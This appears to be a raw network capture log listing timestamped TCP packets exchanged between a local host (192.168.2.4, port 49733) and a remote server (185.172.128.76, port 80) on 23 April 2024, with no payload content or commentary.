Apr 23, 2024 09:38:05.967187881 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967217922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967226982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967253923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967262030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967291117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967297077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967329025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967339993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967365980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967371941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967402935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967417955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967439890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967446089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967477083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967483997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967514038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967519999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967551947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967557907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967587948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967593908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967626095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967657089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967664003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967678070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967704058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967742920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967752934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967778921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967787027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967818975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967827082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967856884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967869043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967895031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967931986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967942953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967967987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967988968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968013048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968033075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968050003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968065023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968086958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968097925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968144894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968148947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968187094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968223095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968236923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968259096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968264103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968296051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968301058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968333960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968370914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968394041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968410969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968417883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968451977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968472958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968487978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968501091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968525887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968537092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968563080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968599081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968616009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968636036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968641043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968672991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968710899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968724966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968748093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968769073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968785048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968812943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968821049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968842983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968858957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968866110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968895912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968902111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968935013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968938112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.968972921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.968975067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969011068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969013929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969048023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969067097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969084978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969089985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969122887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969127893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969161034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969177008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969197035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969201088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969235897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969269037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969274998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969288111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969312906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969348907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969362974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969386101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969394922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969423056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969434023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969460011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969466925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969497919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969531059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969535112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969544888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969573021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969578981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969629049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969634056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969666958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969676971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969703913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969710112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969739914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969744921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969778061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969784021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969818115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969824076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969856024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969860077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969894886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969897985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969934940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969943047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.969971895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.969979048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970010996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970016956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970048904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970056057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970086098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970123053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970132113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970159054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970168114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970196009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970204115 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970233917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970242977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970271111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970284939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970310926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970324039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970349073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970357895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970386028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970393896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970489979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970504999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970526934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970541000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970563889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970580101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970603943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970609903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970642090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970652103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970681906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970685959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970719099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970726013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970757008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970793962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970799923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970830917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970840931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970869064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.970881939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.970932007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172396898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172478914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172521114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172553062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172559023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172594070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172596931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172602892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172652006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172662020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172689915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172698975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172728062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172739983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172765970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172776937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172804117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172812939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172842026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172848940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172878981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172894955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172923088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172960043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.172964096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.172976971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173000097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173036098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173047066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173073053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173083067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173124075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173161983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173166990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173166990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173198938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173213959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173240900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173254013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173278093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173295021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173316002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173330069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173356056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173366070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173394918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173403025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173437119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173477888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173489094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173516989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173521042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173554897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173566103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173593044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173615932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173629999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173641920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173667908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173677921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173705101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173723936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173743010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173753977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173779964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173793077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173818111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173827887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173856020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173866987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173894882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173902035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173933983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173943043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.173970938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.173976898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174007893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174017906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174050093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174057007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174088001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174101114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174125910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174134016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174163103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174175978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174201965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174213886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174242020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174252987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174283028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174288988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174321890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174340963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174360991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174367905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174398899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174408913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174489021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174499989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174527884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174540043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174567938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174581051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174607992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174612045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174647093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174658060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174685001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174695015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174721956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174735069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174758911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174766064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174801111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174808979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174838066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174846888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174875975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174882889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174912930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174926043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174952030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.174961090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.174993038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175029039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175029993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175044060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175069094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175107002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175116062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175143957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175153971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175180912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175192118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175234079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175235033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175281048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175290108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175318003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175328016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175355911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175367117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175393105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175403118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175441027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175446987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175479889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175491095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175518990 CEST	80	49733	185.172.128.76	192.168.2.4
